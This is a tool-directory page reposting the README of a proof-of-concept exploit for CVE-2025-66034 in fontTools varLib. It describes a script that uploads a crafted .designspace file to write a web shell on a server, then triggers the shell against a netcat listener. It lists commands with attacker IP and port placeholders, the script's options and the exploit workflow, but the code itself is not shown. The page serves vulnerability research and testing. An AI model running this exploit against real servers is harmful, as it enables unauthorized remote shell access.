Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/symphony2colour/varlib-cve-2025-66034
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubsymphony2colour/varlib-cve-2025-66034

varlib-cve-2025-66034

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

Proof-of-concept exploit for CVE-2025-66034 in the fontTools variable font generation pipeline. A crafted .designspace file allows control of the output path, enabling arbitrary file writes. The script automates payload creation, font generation, and upload to demonstrate the issue.

25 months agoNot yet reviewed
Share

fontTools varLib CVE-2025-66034 Exploit

cve component vulnerability vector impact language dependency license

This repo doesn't introduce a new vulnerability.

This is a Proof-of-concept exploit for CVE-2025-66034 affecting the fontTools varLib variable font generation pipeline.

The vulnerability allows attackers to control the output filename inside a crafted .designspace file. When processed by a vulnerable font generation service, this can lead to arbitrary file write on the server filesystem.

The script varlib_cve_2025_66034.py automates payload creation, font generation, upload, and optional shell triggering.


Features

  • Automatic creation of compatible master fonts using fontTools
  • Randomized shell filename generation
  • Customizable target path and upload endpoint
  • Automatic nc listener
  • No manual font preparation required

Requirements

Python 3.9+

Install dependencies:

root@kitploit:~
pip install fonttools requests

Netcat is required for the listener:


Usage

If your target is a self-hosted lab running on mysite.com, and the upload path, filesystem write path, and web-accessible trigger path match the defaults in the script, you can run it directly.

Basic usage:

root@kitploit:~
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>

Highly likely the target uses different URLs or filesystem paths, override the defaults with the available options below, such as --url, --path, and --trigger or modify script manually

Note: the multipart upload form names may vary depending on the environment. If the target does not use the same form field names as the script, adjust them in the files section before running the exploit.

Options

Example with custom options:

root@kitploit:~
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com

Exploit Workflow

  1. Generate compatible master fonts
  2. Create malicious .designspace file
  3. Upload payload via multipart POST
  4. Write arbitrary file on the server
  5. Trigger the payload via HTTP request

Credits / Acknowledgements

Special thanks and respect to:

  • The fontTools project maintainers and contributors for their work on the open-source fontTools library.
  • The security researchers who discovered and responsibly disclosed CVE-2025-66034.
  • The open-source security community for documenting and analyzing vulnerabilities that help improve software security.

This proof-of-concept is provided for educational and research purposes to help understand the vulnerability and its impact.


Disclaimer

This code is provided for educational and research purposes only.

Do not use this exploit against systems you do not own or have explicit permission to test.

The author is not responsible for misuse or damage caused by this software.


References

  • CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2025-66034
  • GitHub Advisory: https://github.com/advisories/GHSA-768j-98cg-p3fv
  • fontTools Project: https://github.com/fonttools/fonttools
  • fontTools Documentation: https://fonttools.readthedocs.io/
Download Tool
ArgumentDescription
--ipAttacker listener IP
--portListener port
--pathTarget filesystem path where the file will be written (must be web-accessible to trigger a web shell)
--urlUpload endpoint, form may vary
--triggerBase URL used to trigger the written payload after upload
--no-listenDisable automatic netcat listener